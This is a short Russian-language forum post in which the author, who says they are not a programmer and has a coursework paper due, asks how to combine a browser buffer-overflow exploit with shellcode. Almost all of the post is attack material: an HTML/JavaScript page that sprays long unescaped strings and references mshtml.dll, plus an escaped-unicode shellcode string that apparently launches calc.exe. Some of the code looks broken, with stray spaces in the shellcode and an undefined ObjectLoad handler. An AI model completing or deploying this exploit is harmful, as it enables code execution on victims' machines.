|
Вставка шеллкода в код эксплойта (срочно требуется помошь)
собственно сам эксплойт для переполнения буфера рабоатет на огнелисе и др браузерах
<html><head>
<script src="res://mshtml.dll/objectembed.jS"></script>
<script language="javascript">
function boom()
{
var longunistring1 = unescape("111111111111"); //("%u4141%u4141")
var longunistring2 = unescape("222222222222"); //("%u4242%u4242")
var longunistring3 = unescape("333333333333"); //("%u4343%u4343")
var longunistring4 = unescape("444444444444"); //("%u4444%u4444")
for(i=0; i<= 999 ; ++i)
{
longunistring1+=longunistring1;
longunistring2+=longunistring2;
longunistring3+=longunistring3;
longunistring4+=longunistring4;
document.write(longunistring1);
document.write(longunistring2);
document.write(longunistring3);
document.write(longunistring4);
}
document.write(longunistring1);
document.write(longunistring2);
document.write(longunistring3);
document.write(longunistring4);
document.write(document.body.innerHTML);
}
var objectSource=boom()+shellcode;
</script>
</head>
<body onload="ObjectLoad();" leftmargin="0" topmargin="0" scroll="no">
<form id="obtectDestination"></form></body>
</html>
нужно вставить шеллкод
var shellcode = unescape("%uE860%u0000%u0000%u815D%u06ED%u0000%u8A 00%u1285%u0001%u0800" + "%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009% u1074%u0A6A" + "%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031% uC489%uC350" + "%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B% u8B0C%u1C40" + "%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637% u33E8%u0000" + "%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774% uF889%u5040" + "%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107% uEBC7%u31CD" + "%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444% u0324%u3C40" + "%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424% u4F8B%u8B18" + "%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474% u3124%u99C0" + "%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824% uE175%u578B" +"%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C %u2454%u8B24" + "%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031% uF4EB%uFFC9" + "%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000% u6163%u636C" + "%u652E%u6578%u9000");
так чтобы он запускался после выпонения операции переполнения буфера
сам не программист, но курсач надо по эксплойту написать
помогите , завтра здача уже
|
